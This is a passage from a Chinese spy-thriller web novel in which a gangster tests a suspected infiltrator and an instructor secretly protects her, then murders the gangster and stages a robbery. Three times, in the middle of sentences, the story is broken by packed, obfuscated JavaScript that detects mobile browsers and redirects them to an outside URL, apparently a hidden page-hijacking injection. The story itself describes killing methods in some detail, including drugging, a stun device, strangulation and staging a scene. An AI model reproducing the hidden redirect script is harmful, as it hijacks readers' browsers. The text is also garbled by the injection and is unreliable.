假雪鸮看着窗外:“用过几次。确实大,但稳定器调好了就没问题。” “你一般调多少?” 沉默了两秒。 “看情况。”她说,“地形、风速、目标距离。没有固定值。” 阮文雄在心里记了一笔。回答正确,但犹豫了。真正的雪鸮应该能脱口而出具体参数,或者至少能给出更详细的回答。 可疑指数:+30% **测试三:历史追溯测试** 时间:晚上,在安全屋 测试内容:假装翻阅旧文件,“无意”提到三年前的一桩事件 “对了,”阮文雄从文件夹里抽出一张照片,“这个人你认识吗?贾马尔·哈山,马来西亚的军火商。三年前在吉隆坡被杀,据说当时‘雪鸮’在场。” 他把照片推过去。照片上是一个中年男人的尸体,胸口有三个弹孔。 假雪鸮看了一眼,表情没有任何变化:“听说过。但不是我杀的。” “我没说是你杀的。”阮文雄微笑,“只是问问你认不认识。” “不认识。”她把照片推回去,“我一般不和中间人直接接触。” 这个回答很聪明,避开了陷阱。但阮文雄注意到,她的手指在照片边缘停留了半秒——那是紧张的表现。 可疑指数:+40% **测试四:压力测试** 时间:凌晨两点 测试内容:突然敲门,说有紧急情况 阮文雄在凌晨两点敲响了假雪鸮的酒店房门。他穿着整齐,表情严肃:“战鹰要见你。现在。” 假雪鸮开门时穿着睡衣,头发蓬乱,看起来刚睡醒——但阮文雄注意到她的眼睛很清醒,呼吸平稳,完全不像是被突然吵醒的人。 “现在?”她问,声音里恰到好处地带上了睡意。 “紧急情况。”阮文雄说,“军火的事可能有变。” 她点头:“给我五分钟换衣服。” 五分钟后,她出来了,穿着整齐,头发也梳好了。快得不可思议。 在车上,阮文雄说:“抱歉这么突然。但战鹰刚刚收到消息,说那批军火可能已经被转移了。” “谁的消息?” “‘渔夫’。” 假雪鸮转头看他,眼神锐利:“‘渔夫’联系了战鹰?直接?” “是的。”阮文雄撒谎面不改色,“他说你不靠谱,要求直接和战鹰交易。” 这是完全的胡扯。但假雪鸮相信了——或者说,假装相信了。她皱眉,思考,然后说:“他想绕过我。但军火的具体位置只有我知道细节。” “那你现在可以告诉我细节吗?”阮文雄问,“以防万一。” 假雪鸮沉默了很久。久到阮文雄以为她要摊牌了。然后她说:“爪哇中部,废弃橡胶园,地下三米,恒温储藏室。坐标我会在交易前二十四小时给出。” 很具体的回答。但阮文雄知道,那个橡胶园根本不存在——是他昨晚临时编的地名。 可疑指数:+60% **测试五:终极测试** 时间:测试四的第二天 测试内容:安排一场“意外”袭击 这是阮文雄的得意之作。他雇了两个三流打手(便宜,而且事后容易处理),让他们在假雪鸮单独外出时“袭击”她。目的不是伤害她,而是观察她的反应——一个真正的雪鸮会如何应对突发暴力? 结果让阮文雄大开眼界。 当时假雪鸮正在一条小巷里走(是阮文雄故意引导的路线),两个打手从后面冲上来,一个试图捂她的嘴,一个去抓她的包。 接下来的五秒钟,发生了以下事情: 1.假雪鸮没有尖叫,这很好。 2.她肘击了第一个打手的肋骨,动作标准,这也不错。 3.她踢了第二个打手的膝盖,让他跪倒在地,这很专业。 4.然后她……跑了。 跑了。 头也不回地跑了,速度快得像奥运会短跑选手,几秒就消失在小巷尽头。 两个打手愣在原地,一个捂着肋骨,一个抱着膝盖,面面相觑。 远处观察的阮文雄差点把望远镜摔了。 一个真正的雪鸮——那个传说中单枪匹马端掉过马来西亚□□据点的女人——会跑吗?她会把那两个三流打手揍得生活不能自理,然后冷静地审问他们,找出幕后主使。 而不是像受惊的兔子一样逃跑。 除非……除非她不是雪鸮。除非她只是个受过基础训练、但实战经验不足的冒牌货。 阮文雄笑了。终于,有了确凿的证据。 *** “所以结论是,”阮文雄向战鹰汇报,“我们有百分之八十的把握,这个‘拉特娜·维贾亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937061|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’是假的。” 视频通话的另一端,战鹰坐在阴影里,只能看到轮廓:“证据?” “第一,她对爪哇文化的了解很表面,像个突击学习过的外国人。第二,她的军火专业知识停留在书本水平。第三,面对突发暴力,她的第一反应是逃跑,不是战斗。” 战鹰沉默了一会儿:“如果她是假的,那她是谁?” “瑆洲情报部门的人可能性最大。”阮文雄说,“也可能是其他势力想渗透进来。但无论如何,她的目标是破坏我们的计划。” “军火呢?” “可能根本不存在。或者存在,但她不知道下落。刘易斯的死可能也是她安排的,为了切断线索。” 战鹰的手指在桌面上敲击,那是他思考时的习惯:“先不急着动手。如果她是间谍,我们可以反过来利用她,传递假情报。” “风险很大。”阮文雄提醒,“她已经知道不少我们的计划。” “那就让她知道更多——错误的部分。”战鹰说,“安排一次‘核心会议’,让她参加。告诉她我们要提前行动,时间、地点都给她,但是假的。然后观察,看哪些地方会加强戒备。” 阮文雄明白了。这是经典的钓鱼战术:用假情报钓出对方的反应,从而确认间谍身份,甚至挖出整个网络。 “如果她不上钩呢?”他问。 “那就处理掉。”战鹰的声音冰冷,“但要干净,不要留下痕迹。现在风声紧,不能引起注意。” “明白。” 通话结束。阮文雄坐在椅子上,思考着下一步。 假雪鸮现在应该很紧张。她知道自己在被怀疑,知道每个测试都是陷阱。但她也必须继续演下去,因为一旦暴露就是死路。 阮文雄几乎有点同情她了。一个年轻女孩(他估计她不超过二十五岁),要整天提心吊胆地扮演一个危险人物,应付各种试探,还要想办法完成自己的任务——不管那任务是什么。 但这同情只持续了三秒。在情报世界里,同情是奢侈品,而他阮文雄从不奢侈。 他打开电脑,开始设计那个假的核心会议。时间、地点、行动计划,每一个细节都要精心设计,既要足够真实能骗过专业特工,又要足够假不会真的泄露机密。 他决定把时间定在下周五晚上,地点在瑆洲湾的一个游艇上——那里容易监控,也容易“处理”意外。行动目标定为“袭击圣保罗医院的备用发电站”,听起来合理,但实际上是胡扯。 然后他会把这个计划“不小心”让假雪鸮看到,或者通过第三方透露给她。再然后,观察瑆洲军方或警方的反应。 如果圣保罗医院附近突然增派了守卫,或者游艇码头出现了可疑的监控人员,那就证明假雪鸮是间谍,而且已经传递了情报。 完美。 阮文雄微笑,觉得自己真是个天才。 不过,在计划实施前,他还有一件事要做:再给假雪鸮一次测试,最后一次,最致命的测试。 他要让她亲手杀一个人。 不是命令,不是要求,而是创造一种情境,让她“不得不”动手。比如,安排一个“叛徒”或“卧底”在她面前,给她武器,看她会不会扣动扳机。 一个真正的雪鸮会毫不犹豫。 一个假货……可能会犹豫。 而犹豫,就是死亡。 阮文雄开始筛选人选。需要找一个不重要、但看起来足够真实的目标。最好是战鹰组织内部的低级成员,犯了点小错,可以被合理地处决。 他花了一个小时翻看名单,最终选定了一个:阿明,二十五岁,负责物流运输的小角色,最近因为私吞了一点运输费被举报。不大不小的错,刚好够判死刑——如果战鹰的标准严格的话。 计划是这样的:明天带假雪鸮去某个仓库,让她“意外”发现阿明正在向警方告密(当然是演的),然后递给她一把枪,说:“处理掉。” 她会怎么做? 阮文雄几乎等不及想看了。 他关掉电脑,走到窗边。夜色中的瑆洲灯火辉煌,像一块镶满钻石的黑丝绒。 在这个美丽的城市里,一场关于信任与背叛、真实与伪装、生与死的游戏正在上演。 而他,阮文雄,代号“鱼鹰”,是这场游戏中最资深的玩家之一。 他唯一没想到的是,游戏可能不止有两方玩家。 还有第三方、第四方,甚至更多。 比如那个刚刚从军方监狱逃脱的真正的雪鸮,此刻可能正在某个角落冷眼旁观。 比如那个在幕后指挥假雪鸮的组织,可能在策划着什么。 比如那个叫“渔夫”的神秘人物,目的不明。 还有那些潜伏在各处的、未知的势力。 这场游戏,比阮文雄想象的要复杂得多。 但没关系。他喜欢复杂。 因为越复杂,赢的时候就越有成就感。 窗外,一只夜鸟飞过,消失在楼宇之间。 阮文雄看着它消失的方向,轻声说: “飞吧,小鸟。看看你能飞多高。” “然后,看看你会怎么坠落。” 44. 暗处的保护 尹柏萧的人生也是一本教科书,那这一章的标题一定是“如何在不违反任何规定的情况下,违反所有规定”。 自从发现叶馨蒙可能潜入“战鹰”小组后尹柏萧就陷入了一种职业与道德的双重 分裂状态。他本可以以系统壁垒问题视而不见,但作为一个特训处教官……好吧,他做不到。 尤其是他发现阮文雄——那个代号“鱼鹰”的危险人物——已经开始布网之后。 事情也是从三天前开始的。尹柏萧的私人监控网络捕捉到了一些异常:叶馨蒙在瑞华高中的学生公寓楼下多了一辆24小时不间断监视的车;她经常光顾的咖啡馆里出现了一个总是坐在角落看报纸的男人;甚至她学校的化学实验室里,都有人动过她的储物柜。 专业,但不够隐蔽——至少对尹柏萧这样的专业人士来说不够。 更糟糕的是,尹柏萧通过军方渠道截获了一条加密通讯,虽然只破译了片段,但关键信息很明确:“目标身份可疑……测试进行中……如有确证,清除。” 清除。情报界的委婉说法,意思是“让她从世界上消失,越干净越好”。 尹柏萧坐在办公室里,面前摊着的大部头但一个字也看不进去。他的大脑在飞速运转分析着各种可能性和应对方案。 方案一:直接告诉叶馨蒙她被怀疑了。 问题:那会暴露他的监控行为,而且如果她真是特工,可能会怀疑他的动机。更糟的是如果她不是特工,那就等于告诉她“嘿,我发现你在搞间谍活动”。 方案二:通过官方渠道介入。 问题:不同系统,不同指挥链,等文件批下来……她可能已经被爪哇特工变成水泥柱的一部分沉在瑆洲湾了。 方案三:什么都不做。 问题:良心会痛,而且万一她真是“金环蛇”,损失一个成功潜入敌方内部的宝贵特工,对国家也是巨大损失。更何况,她手上那支带着重要秘密(之前对他而言)金手镯,他需要她活着让他去探究…… 所以尹柏萧选择了方案四:自己动手,在不被任何人发现的情况下,帮她排除威胁。 听起来很疯狂,但谁说疯狂不能有效呢? 第一步:清除监视者 那辆停在叶馨蒙公寓楼下的监视车是个银色丰田,车牌是伪造的(尹柏萧查过了)。车里通常有两个人轮班,每八小时换一次。他们很专业,从不离开车,上厕所都用便携马桶,吃饭叫外卖。 尹柏萧决定从外卖入手。 他花了一天时间观察,发现他们最喜欢点的是“李氏烧腊”的双拼饭,加冻柠茶。每天中午十二点和晚上八点准时下单,外卖员是同一个戴黄色头盔的小哥。 第二天中午十一点五十五分,尹柏萧出现在了“李氏烧腊”店里。他穿着外卖平台的工作服(网上买的二手货),戴着头盔和口罩,看起来和那个黄色头盔小哥有七分像。 “取餐,订单号287。”他对店员说。 店员看了一眼订单:“又是那辆银色丰田的?他们今天点了烧鹅叉烧双拼,两份。” “对。”尹柏萧接过打包好的餐盒。 他骑上提前准备好的电动车(也是二手货,无法追踪),朝叶馨蒙的公寓驶去。到地方后,他敲了敲丰田的车窗。 车窗降下一半,露出一张警惕的脸:“今天换人了?” “黄色头盔生病了,我代班。”尹柏萧把餐盒递过去,“35块。” 监视者递出钱,接过餐盒。整个过程不到十秒。 尹柏萧骑电动车离开,在拐角处停下,从后视镜观察。 五分钟后,丰田车的两个人开始吃饭。十分钟后,他们开始打哈欠。十五分钟后,两人都睡着了——尹柏萧在冻柠茶里加了足够剂量的镇静剂,足以让他们睡六小时。 他走回去,打开车门,取出他们的通讯设备和记录本,快速拍照,然后放回原处。整个过程三分钟,没人注意。 回家后,尹柏萧分析了那些记录。果然,详细记录了叶馨蒙每天的行踪:几点出门、穿什么衣服、见了谁、甚至买了什么东西。但有趣的是,记录只到三天前——之后的内容被删除了,或者转移了。 这说明阮文雄已经起了疑心,开始隐藏真正的监视目的。 第二步:干扰测试 从记录中,尹柏萧发现阮文雄安排了多次对叶馨蒙的测试:语言测试、专业知识测试、甚至模拟袭击测试。大部分测试叶馨蒙都通过了,但有些表现得很勉强。 尹柏萧决定帮她一把——不是直接插手,而是制造一些“意外”,干扰测试结果。 比如,当阮文雄假装闲聊问起某种狙击步枪参数时,尹柏萧黑进了叶馨蒙的手机(这很容易,因为他之前以“检查学习软件”为借口在她手机上安装过后台程序),在她蓝牙耳机里轻声提示:“□□M107,后坐力调整建议第三档,风速补偿每5节0.2密位。” 叶馨蒙当时明显愣了一下,但很快反应过来,流利地复述了答案。 阮文雄的表情,尹柏萧没看到,但想必很精彩。 又比如,当阮文雄安排那两个三流打手“袭击”叶馨蒙时,尹柏萧提前十分钟匿名报警,说有可疑人员在附近贩毒。结果打手刚出现,警车就到了,两人吓得掉头就跑,测试泡汤。 阮文雄在远处看着,估计气得想砸望远镜。 第三步:信息误导 这是最危险的一步,但也是最重要的一步。尹柏萧需要让阮文雄相信,叶馨蒙不是威胁——或者至少她带来的威胁小于她的价值。 他通过军方情报系统,伪造了一份关于“拉特娜·维贾亚”的背景调查报告。报告显示:此人确实是爪哇特工,三个月前被捕,但两周前越狱,目前行踪不明。报告还“暗示”,真正的雪鸮可能已经潜入瑆洲主岛,正在策划报复逮捕她的人。 然后,尹柏萧通过一个中立的黑市情报贩子把这份报告“泄露”给了阮文雄。价格不菲但值得。 效果立竿见影。第二天,阮文雄对叶馨蒙的态度明显缓和了。不是完全信任,但至少不再那么咄咄逼人。 尹柏萧知道这只是暂时的。阮文雄这样的老狐狸,不会轻易相信任何信息,尤其是买来的信息。他需要更多证据,更多保证。 于是尹柏萧准备了第四步:终极误导。 他从军方档案里找到一个已经死亡、但尚未注销身份的特工信息:陈浩南,男,三十四岁,前海军陆战队成员,因违纪被开除,后加入黑市情报圈,最近在暹罗死于□□火并。 尹柏萧用陈浩南的身份注册了一个加密通讯账号,然后联系阮文雄: “我知道你在找一个叫拉特娜·维贾亚的女人。我有她的最新情报。价格:五万美元。” 阮文雄回复得很快:“证明。” 尹柏萧发去一张照片——那是他从军方监控录像里截取的,真正的雪鸮被捕前的最后一个画面,经过处理,看起来像是近期拍摄的。 “她上周在曼谷出现,住在这家酒店。”尹柏萧附上酒店地址,那是雪鸮一年前确实住过的地方。 “她一个人?”阮文雄问。 “带着一个箱子,看起来很重。可能是钱,也可能是武器。” “她现在在哪?” “不知道。但我可以查。再加两万。” 阮文雄沉默了十分钟。然后回复:“钱已经汇到你指定的账户。我要她在瑆洲的联系人名单。” 尹柏萧笑了。上钩了。 他编造了一份名单,上面有六个名字,都是真实存在但无关紧要的小角色:两个黑市武器商,一个伪造证件专家,两个走私犯,还有一个退休的情报分析员。每个人后面都附上详细背景和近期活动。 这些人的共同点是:都与雪鸮有过间接接触(至少档案上这么写),但都不知道她的真实身份和目的。即使阮文雄去调查,也查不出什么,反而会浪费时间。 更重要的是,名单上没有叶馨蒙。 这是关键。通过这份名单,尹柏萧想让阮文雄相信:如果真有雪鸮在瑆洲活动,那她有自己的网络,有自己的计划,不会伪装成另一个人潜入“战鹰”。 换句话说,叶馨蒙不可能是雪鸮——因为真正的雪鸮正在别处忙着自己的事。 计划执行得很顺利。阮文雄收到名单后,立刻派人调查。两天后,尹柏萧监听到他们的通讯: “名单上的人查过了,都是真的。两个武器商确认最近有人打听过高阶装备,但不知道买家身份。伪造证件专家说三个月前确实有人找他做爪哇护照,名字就是拉特娜·维贾亚。” 阮文雄的声音:“所以真正的雪鸮确实在活动。” “看来是的。而且她在重建网络,可能有大动作。” “那我们这里这个……” “可能是巧合。或者,可能是其他人伪装的,但不是真正的雪鸮。” “继续观察。但优先级降低。先把精力放在真正的雪鸮身上。” 通话结束。尹柏萧靠在椅背上,长长地舒了一口气。 成功了。至少暂时成功了。 叶馨蒙的暴露风险从“红色警报”降到了“黄色警戒”。阮文雄的注意力被引向了别处,那个根本不存在的“真正雪鸮”在曼谷活动的幻影。 但尹柏萧知道,这只是权宜之计。谎言总有被戳穿的一天,尤其是当真正的雪鸮确实已经逃脱,现在不知道在哪活动的时候。 如果真雪鸮和假雪鸮碰面了…… 尹柏萧摇摇头,不敢想那个画面。 他看了看时间,下午三点。叶馨蒙应该快放学了。今天周五,按照惯例,她会去图书馆自习到五点,然后回公寓。 尹柏萧决定去“偶遇”一下。不是以情报官的身份,而是以教官的身份,关心一下学生的化学竞赛准备情况。 这很合理,对吧? --- 下午四点五十分,尹柏萧出现在图书馆。他装作找书,在书架间穿梭,然后“偶然”看到了坐在窗边的叶馨蒙。 她正在看书,但眼睛没有聚焦在页面上,而是在走神。脸色比前几天更苍白,黑眼圈也更重了。桌子上放着一杯咖啡,已经凉了,但她没喝。 “馨蒙。”尹柏萧走过去,轻声打招呼。 叶馨蒙猛地抬头,眼神瞬间从迷茫切换到警惕,再切换到学生的礼貌:“尹教官。” “在准备竞赛?”尹柏萧看了看她面前的书——是化学,但翻开的那一页讲的是□□的分子结构。有趣的选择。 “嗯。下个月初赛。”叶馨蒙合上书,动作有点快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937062|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “注意休息。”尹柏萧说,语气尽量温和,“你看起来有点累。这个年纪不要熬夜太多,对身体不好。” 叶馨蒙笑了笑,那笑容很勉强:“知道了,谢谢教官。” 两人沉默了几秒。尹柏萧想说什么,但又不知道该说什么。直接问“你是不是被恐怖组织怀疑了需要帮忙吗”显然不行。 最后他说:“如果有什么困难——学习上的,或者其他方面的——可以找我。我是教官,有责任帮助学生。” 他说得很模糊,但希望她能听懂弦外之音。 叶馨蒙看着他,眼神里有某种东西闪过——是理解?是怀疑?还是感激?尹柏萧读不懂。 “谢谢教官。”她重复道,声音很轻,“我会的。” 尹柏萧点点头,转身离开。走了几步,他回头看了一眼。叶馨蒙还坐在那里,看着窗外,手指无意识地摩挲着书页。 年轻的脸上,承载着不应该属于这个年纪的沉重。 尹柏萧叹了口气,走出图书馆。 回到办公室后,他收到了新的情报:阮文雄已经安排了一个“终极测试”,要让叶馨蒙亲手杀一个人,以证明她的忠诚。 时间:明天晚上。 地点:码头区某个仓库。 目标:一个叫阿明的低级成员,罪名是私吞公款。 尹柏萧皱起眉头。这是最糟糕的一种测试——不是知识或技能,而是人性。很多人能通过语言测试,能伪装专业知识,但到了扣动扳机的那一刻,真正的自我会暴露无遗。 如果叶馨蒙拒绝,或者犹豫,她就会暴露。 如果她真的开枪……那她就真的变成了雪鸮,至少手上沾了血。 两难。 尹柏萧思考了很久,然后做出了决定。 他不能阻止这个测试,那会引起怀疑。但他可以……调整测试的参数。 比如,让目标“阿明”看起来不那么像真人。 他打开电脑,开始工作。 --- 第二天晚上,码头区,三号仓库。 叶馨蒙跟着阮文雄走进仓库时,心脏跳得像要冲出胸腔。她知道这是什么——终极测试。要么通过,要么死。 仓库中央的椅子上绑着一个男人,嘴里塞着布,眼睛被蒙着。他正在挣扎,发出呜呜的声音。 “阿明,”阮文雄说,语气平静,“我们的物流员。最近发现他私吞了五万块运输费,还向警方告密。” 他递给叶馨蒙一把手枪:“处理掉。” 叶馨蒙接过枪,手在微微颤抖。她看着那个被绑着的男人,脑子一片空白。 开枪?杀人?一个可能无辜的人? 不开枪?暴露?然后被杀? 时间一秒秒过去。阮文雄在看着她,眼神锐利如刀。 “怎么?”他说,“下不了手?还是说……你不是干这行的?” 叶馨蒙的手指扣在扳机上。她能感觉到金属的冰冷,能闻到枪油的淡淡气味。 那个被绑着的男人挣扎得更厉害了,呜呜声变成了绝望的哀鸣。 叶馨蒙闭上眼睛。 然后开枪。 枪声在仓库里回荡,震耳欲聋。 她睁开眼睛。男人倒在椅子上,胸口有一个弹孔,但没有血——至少没有她想象中那么多。 阮文雄走过去,检查了一下,然后笑了:“很好。干净利落。” 他拍拍叶馨蒙的肩膀:“欢迎正式加入鹰巢。” 叶馨蒙站在那里,手里还握着枪,整个人像被抽空了灵魂。 她不知道的是,那根本不是真人,而是一个高级模拟人偶,胸口装的是血包和感应器。尹柏萧昨晚潜入仓库,用假人换掉了真正的阿明——真正的阿明现在正拿着尹柏萧给的钱,在去暹罗的船上。 她也不知道,开枪的瞬间,尹柏萧就在仓库顶部的通风管道里看着,手里也握着一把枪——如果阮文雄有异常举动,他会先开枪。 她更不知道,这场测试从一开始就是个骗局中的骗局:阮文雄知道可能是测试,尹柏萧知道阮文雄知道是测试,而他们都在演。 在这个世界里,连杀人测试都可以是假的。 只要演得够真。 阮文雄带着叶馨蒙离开了仓库。尹柏萧从通风管道爬下来,走到那个假人旁边。 假人胸口的“弹孔”正在渗出人造血,看起来逼真得吓人。 尹柏萧蹲下身,拍了拍假人的脸:“演得不错。” 然后他站起来,环顾空荡荡的仓库,摇了摇头。 “保护一个特工最好的方式,”他自言自语,“就是让她以为自己杀了人,而实际上没有。” “我真是个天才。” “也是个疯子。” 他笑了笑,从后门离开,消失在夜色中。 仓库里,假人静静地倒在椅子上,“血”慢慢流了一地。 远处传来货轮的汽笛声,悠长而孤独。 在瑆洲的夜晚,有些谎言是为了伤人,有些谎言是为了救人。 而最讽刺的是,有时候你分不清哪个是哪个。 但至少今晚,一个女孩的手没有沾上真正的血。 在情报世界里,这已经算是happy ending了。 45. 击杀鱼鹰 尹柏萧心想,我的的人生如果有绩效考核表,“多管闲事”这一栏的得分一定是满分?毕竟,一个正经的特训处教官怎么会半夜三更穿着夜行衣,蹲在垃圾箱后面,计划着怎么把恐怖分子伪装成抢劫案受害者呢? 但事情就是这么发生了。 自从叶馨蒙(或者说“假雪鸮”)通过了那个“杀人测试”后,阮文雄对她的态度确实好了很多。但这反而让尹柏萧更加警惕——老狐狸的暂时信任,往往是为了更大的陷阱。 果然,三天前尹柏萧监听到阮文雄和战鹰的通讯:“测试通过了,但还不够。她太干净了,干净得不像是‘雪鸮’。”阮文雄说。 “那你的建议?”战鹰的声音冰冷。 “最后一道测试。让她参与下周的行动——不是外围,是核心。如果她是卧底,到时候一定会露馅。” “如果她不是呢?” “那她就是真正的‘雪鸮’,值得重用。” “安排吧。但记住,如果她是卧底,不要当场处理。把她带回来,我要亲自审问。” 尹柏萧听得脊背发凉。“亲自审问”在战鹰的词典里,等于“用尽一切手段折磨到说出所有秘密,然后杀掉”。 叶馨蒙不能参与那个行动。无论如何不能。 但直接警告她不行,那会暴露他的监控。阻止行动也不行,他一个人办不到。 所以尹柏萧得出了结论:必须让阮文雄消失。不是暂时,是永久。 阮文雄一死,对叶馨蒙的怀疑链条就断了,行动至少会推迟,给她争取时间。 听起来很合理,对吧?就像说“我今天下午得去杀个人,因为不杀的话我学生的化学竞赛可能会受影响”一样合理。 尹柏萧有时候想,自己是不是该去看心理医生。 第一步:情报收集 要杀阮文雄不容易。这个老狐狸警惕性极高,行踪不定,身边总有人保护。但尹柏萧有优势:他监听了阮文雄的所有通讯,知道他的习惯、日程、甚至一些小癖好。 比如,阮文雄每周三晚上会独自去城北的“老友记”茶餐厅吃夜宵——不是因为他喜欢那里的食物(事实上那里的云吞面难吃得像洗碗水),而是因为那是他和初恋女友第一次约会的地方。中年男人的怀旧,往往是最致命的弱点。 比如,阮文雄总是开同一辆黑色丰田轿车,但每周一和周四会去同一家洗车店——不是因为那家洗得好,而是因为老板娘是他的远房表妹。 再比如,阮文雄左腿有旧伤,阴雨天会疼,所以他走路时会有微不可察的跛行,而且不喜欢爬楼梯。 这些细节在普通人看来无关紧要,但对杀手来说,是黄金情报。 第二步:机会制造 光知道阮文雄的习惯不够,还需要一个他落单的机会。这个机会很快就来了。 战鹰要离开瑆洲三天,去交趾见某个“重要人物”。阮文雄作为二把手,会暂时负责组织事务。这意味着他会很忙,会到处跑,会……容易下手。 尹柏萧通过军方情报系统确认了战鹰的行程:周五下午飞往河内,周一早上返回。完美。 他选择周六晚上动手。那时阮文雄忙碌了一天,会放松警惕,而且周末晚上街上人多,容易制造混乱和伪装。 第三步:武器选择 尹柏萧不打算用枪。枪声太响,容易引起注意,而且弹道分析会暴露太多信息。 他选择了一把改造过的□□——外观像普通手电筒,但按下按钮能释放足以让成年男性瞬间昏迷的高压电流。优点是安静、无血、事后难以追查。缺点是需要近距离接触。 他还准备了一根特制的绳索,细如发丝但坚韧无比,能在三十秒内让人窒息而死,而且几乎不留痕迹。 最后,他还带了一小瓶化学药剂,能在尸体上制造出符合“抢劫杀人”特征的伤痕。 装备检查完毕。尹柏萧对着镜子看了看自己:黑色运动服,运动鞋,棒球帽,口罩。看起来像个夜跑者,完美融入城市夜晚。 第四步:执行 周六晚上十一点,阮文雄如预期出现在了“老友记”茶餐厅。尹柏萧坐在斜对面的便利店门口,假装玩手机,实则观察。 阮文雄一个人,坐在靠窗的老位置,点了云吞面和冻奶茶。他看起来很疲惫,不时揉着太阳穴,偶尔看看手机。 十一点二十,阮文雄吃完,付钱,起身离开。尹柏萧收起手机,跟了上去。 阮文雄的车停在两个街区外的停车场——茶餐厅门口不能停车,这是他的另一个习惯:宁愿走一段路,也不冒险违规停车引人注意。 这给了尹柏萧机会。 阮文雄走进了一条相对安静的小巷,这是回停车场的近路。小巷没有路灯,只有两边建筑物窗户里透出的微弱光线。 尹柏萧加快脚步,缩短距离。十米、五米、三米…… 阮文雄突然停下,转过身。他察觉到了。 但太晚了。 尹柏萧已经冲到他面前,□□抵在他的腰间,按下按钮。 滋滋的电流声中,阮文雄的身体剧烈抽搐,眼睛瞪大,想要叫喊但发不出声音。三秒后,他倒在地上,失去意识。 完美。尹柏萧看了看四周,没人。小巷两边的窗户都关着,帘子拉着。 他迅速把阮文雄拖到小巷深处的垃圾箱后面,开始布置现场。 首先,他取走了阮文雄的钱包、手机、手表——看起来像抢劫。但他仔细检查了这些物品:钱包里除了现金和信用卡,还有一张折叠得很小的纸条,上面写着一串数字和字母。尹柏萧拍照后,把纸条放回原处。 手机有密码,但他不打算破解——那会留下痕迹。他把手机摔在地上,踩碎屏幕,然后扔进旁边的下水道。 手表是名牌,值不少钱,但他也扔进了下水道——真正的劫匪可能会拿走,但他不需要。 然后,他用那根特制绳索在阮文雄脖子上绕了一圈,收紧,持续三十秒。这是为了制造窒息死亡的假象,与电击的痕迹混合,让法医难以判断确切死因。 最后,他拿出那瓶化学药剂,倒在阮文雄的脸上和手上——这会在皮肤上制造出类似搏斗造成的擦伤和淤青。 整个过程不超过五分钟。 尹柏萧站起身,再次检查四周。依然没人。他最后看了一眼阮文雄的尸体,确认没有留下任何个人物品或痕迹。 然后他转身,快步离开小巷,转入主街,混入夜晚的人群中。 十一点四十分,他回到自己的公寓,关上门,靠在门上长长地舒了一口气。 第一阶段完成。 第五步:善后处理 杀人容易,处理后续难。尹柏萧需要确保三件事: 第一,尸体要尽快被发现,但不能太早——太早的话,法医可能有更多时间分析;太晚的话,死亡时间难以确定。 第二,媒体要报道成“普通抢劫杀人案”,不能引起警方或“战鹰”组织的特别关注。 第三,叶馨蒙要“自然”地知道这件事,但不能怀疑到他头上。 针对第一点,尹柏萧在离开小巷后,用公用电话匿名报警,说听到巷子里有呼救声和打斗声。警方会在二十分钟内赶到,时间刚好。 针对第二点,他联系某个在《瑆洲日报》工作的潜伏蛇特工,暗示城北发生了“恶性抢劫杀人案”,受害者疑似是商人,身上财物被洗劫一空。这种新闻在瑆洲不罕见,但足以登上社会版头条。 针对第三点,他准备让叶馨蒙“偶然”看到那份报纸——他会在明天去学校时,“不小心”把报纸落在她常坐的图书馆座位上。 计划看起来很周全。 但尹柏萧知道,计划永远赶不上变化。 果然,变化很快就来了。 第一个意外:尸体没按时被发现 尹柏萧等到凌晨一点,新闻上还没有相关报道。他打开警方频道监听,发现确实接到了报警,也派了巡逻车去,但警察到小巷后只检查了垃圾箱周围,没发现尸体——因为阮文雄被拖到了更深的阴影处,从巷口看不到。 该死。尹柏萧骂了一句。他低估了夜晚的黑暗和警察的懒惰。 他需要让尸体更明显。 凌晨一点半,尹柏萧再次出门,这次换了衣服和装扮。他骑着一辆共享单车,来到小巷附近,把车停在巷口,然后走进去。 阮文雄的尸体还在原地,已经开始僵硬。尹柏萧把他拖到巷口的路灯下,这样任何路过的人都能看到。 他正要离开时,听到了脚步声。 有人来了。 尹柏萧迅速躲回阴影里。来的是一个醉汉,摇摇晃晃地走着,嘴里哼着不成调的歌。醉汉走到巷口,差点被阮文雄的尸体绊倒。 “卧槽!”醉汉吓了一跳,酒醒了一半。他蹲下身,看了看,然后尖叫起来:“死人啦!有死人啦!” 他连滚爬爬地跑出小巷,边跑边喊。 完美。尹柏萧在阴影里微笑。醉汉的报警比匿名电话可信多了。 他等醉汉跑远,然后从另一头离开。 第二个意外:媒体报道过度 第二天早上,《瑆洲日报》确实报道了这起“恶性抢劫杀人案”,但记者(蛇特工)显然太敬业了。她不仅详细描述了现场情况,还挖出了阮文雄的“表面身份”——南洋之星贸易公司副总裁,社会名流,慈善家。 更糟的是,她还采访了警方发言人,发言人说:“初步判断是抢劫杀人,但作案手法专业,不排除有预谋的可能。我们已经成立专案组调查。” 专案组。尹柏萧揉了揉太阳穴。这比他想要的关注度高太多了。 但好消息是报道中完全没有提到“战鹰”小组或恐怖组织,只说是普通刑事案件。而且阮文雄的手机和手表被扔进了下水道,警方找不到,自然会认为是劫匪拿走了,符合抢劫案的逻辑。 现在,就看“战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 